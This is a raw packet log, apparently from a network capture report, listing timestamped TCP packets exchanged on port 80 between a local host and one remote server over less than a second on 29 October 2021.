Oct 29, 2021 20:10:45.562001944 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562012911 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562036991 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562072992 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562084913 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562107086 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562141895 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562175035 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562186956 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562208891 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562220097 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562244892 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562278986 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562314987 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562323093 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562350035 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562381983 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562397957 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562418938 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562427044 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562453032 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562488079 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562521935 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562532902 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562556028 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562557936 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562591076 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562625885 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562660933 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562666893 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562697887 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562732935 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562737942 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562767982 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562768936 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562807083 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562840939 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562876940 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562881947 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562911034 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562917948 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.562946081 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.562979937 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.563014030 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.563020945 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.563049078 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.563055038 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.563083887 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.563121080 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.563154936 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.563163996 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.563194990 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616143942 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616184950 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616211891 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616235971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616261959 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616259098 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616290092 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616296053 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616323948 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616347075 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616350889 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616379023 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616401911 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616424084 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616430998 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616447926 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616463900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616467953 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616482019 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616499901 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616506100 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616533041 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616540909 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616559982 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616585970 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616585970 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616615057 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616641998 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616657019 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616669893 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616686106 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616697073 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616725922 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616753101 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616770029 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616781950 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616796017 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616810083 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616835117 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616878033 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616880894 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616904974 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616930008 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616945982 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616955996 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.616971016 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.616982937 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617008924 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617026091 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617034912 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617060900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617077112 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617088079 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617115021 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617140055 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617157936 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617165089 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617187977 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617192030 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617218971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617237091 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617245913 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617268085 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617291927 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617294073 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617316961 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617340088 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617341995 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617366076 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617388010 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617413044 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617414951 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617444992 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617460012 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617476940 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617499113 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617522955 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617546082 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617552996 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617569923 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617594957 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617618084 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617640972 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617641926 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617664099 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617686987 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617687941 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617706060 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617707968 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617728949 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617731094 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617752075 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617774963 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617777109 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617798090 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617819071 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617839098 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617854118 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617860079 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617882013 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617897987 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617902040 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617923975 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617944956 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617954969 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617966890 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.617988110 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.617990971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618011951 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618032932 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618041039 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618053913 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618074894 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618077040 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618097067 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618119001 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618120909 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618141890 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618154049 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618165970 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618187904 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618202925 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618210077 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618232965 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618244886 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618254900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618277073 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618295908 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618300915 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618325949 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.618339062 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618578911 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.618644953 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671454906 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671494007 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671514034 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671534061 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671550035 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671574116 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671591997 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671610117 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671617031 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671633005 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671641111 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671655893 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671663046 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671688080 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671711922 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671727896 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671736002 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671753883 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671760082 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671781063 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671793938 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671808004 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671829939 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671849966 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671853065 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671874046 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671884060 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671895027 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671916962 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671940088 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671957016 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671962023 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.671977997 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.671999931 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672014952 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672017097 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672022104 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672034025 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672053099 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672061920 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672070980 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672091961 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672097921 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672115088 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672137976 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672147036 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672158957 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672180891 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672182083 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672204971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672219038 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672226906 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672247887 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672271013 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672274113 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672291994 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672307968 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672314882 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672338009 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672362089 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672373056 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672385931 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672404051 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672409058 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672434092 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672447920 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672456980 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672480106 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672497034 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672513962 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672516108 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672537088 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672549963 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672561884 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672566891 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672585964 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672604084 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672621012 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672629118 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672637939 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672653913 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672663927 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672669888 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672686100 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672702074 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672708988 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672718048 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672727108 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672735929 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672749996 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672751904 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672768116 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672785044 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672800064 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672801971 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672816992 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672832966 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672835112 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672871113 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672873020 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672887087 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672904015 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672919989 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672924995 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672935009 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672950029 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672956944 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672966957 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672981977 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.672985077 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.672997952 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673007965 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.673012972 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673029900 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673046112 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673048973 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.673060894 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673077106 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673090935 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.673093081 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673109055 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673114061 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.673125029 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673137903 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.673141956 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673166990 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.673170090 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.673207998 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.673412085 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726123095 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726150036 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726172924 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726196051 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726227045 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726242065 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726253986 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726264000 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726274014 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726284027 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726305008 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726325035 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726327896 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726346016 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726366997 CEST	49811	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:45.726366997 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726387978 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726408005 CEST	80	49811	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:45.726425886 CEST	80	49811	185.98.87.159	192.168.2.5
